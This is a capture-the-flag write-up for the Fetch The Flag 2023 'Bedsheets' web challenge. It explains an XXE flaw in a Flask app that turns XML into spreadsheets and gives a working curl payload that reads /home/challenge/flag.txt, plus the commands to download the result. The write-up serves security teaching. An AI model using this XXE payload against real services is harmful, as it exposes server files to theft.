Fetch The Flag 2023 Bedsheets Writeup

Published: November 10, 2025, updated: November 10, 2025

This is a writeup for the Fetch The Flag 2023 Bedsheets challenge.

Challenge notes

Buying new bed sheets is always a hassle, so I made a new website to make it easier.

Hint: Flag is at /home/challenge/flag.txt

Psst… Snyk can help solve this challenge! Try it out!

Press the Start button in the top-right to begin this challenge.
Connect with:

http://challenge.ctf.games:30814

Web app

The Python module at src/app.py contains a Flask web app. The app has the following endpoints:

  1. Index at /
  2. Error page at /error
  3. Create .xlsx spreadsheet files at /createSheets.
  4. List created spreadsheet files at /finishedSheets.
  5. Download individual spreadsheet files at /finsihedSheets/<sheetname>.

The web app uses the xml2xlsx Python package to convert XML documents to .xlsx spreadsheets.

The goal is to use this web app to steal the flag at /home/challenge/flag.txt.

Vulnerability

The way the app converts XML to XLSX is vulnerable to XML external entity inclusion. 1. In the frontend, you can submit an XML body that the app creates according to this template in JavaScript:

<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>${bedSize}</cell></row>
<row><cell>Color</cell><cell>${color}</cell></row>
<row><cell>Thread Count</cell><cell>${threadCount}</cell></row>
<row><cell>Quantity</cell><cell>${quantity}</cell></row>
</sheet>

You’re not limited to sending data according to this specific template.

Exploit code

Here’s how to ask the web app to include the contents of flag.txt in the XML document:

echo '<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>' |
curl 'http://challenge.ctf.games:31249/createSheets' \
    -X POST \
    -H 'Content-Type: application/xml' \
    --data-binary @-

Internally, src/app.py concatenates this to the following XML document:

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">
<row><cell>Bed Size</cell><cell>&xxe;</cell></row>
<row><cell>Color</cell><cell>#ffffff</cell></row>
<row><cell>Thread Count</cell><cell>400</cell></row>
<row><cell>Quantity</cell><cell>1</cell></row>
</sheet>

This in turn evaluates to an XML document and resulting spreadsheet that includes the contents of the flag.txt file in the first row under Bed Size. If it works correctly, you should see the following output:

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/finishedSheets">/finishedSheets</a>. If not, click the link.

Fetch the sheet that you’ve just created. The first row contains the flag. Here’s how you can fetch the spreadsheet using curl:

curl http://challenge.ctf.games:31249/finishedSheets/
# Find your spreadsheet's name and download it:
curl http://challenge.ctf.games:31249/finishedSheets/XXXXXXXXXXXXXXXXXXX.xlsx

Tags

I would be thrilled to hear from you! Please share your thoughts and ideas with me via email.

Back to Index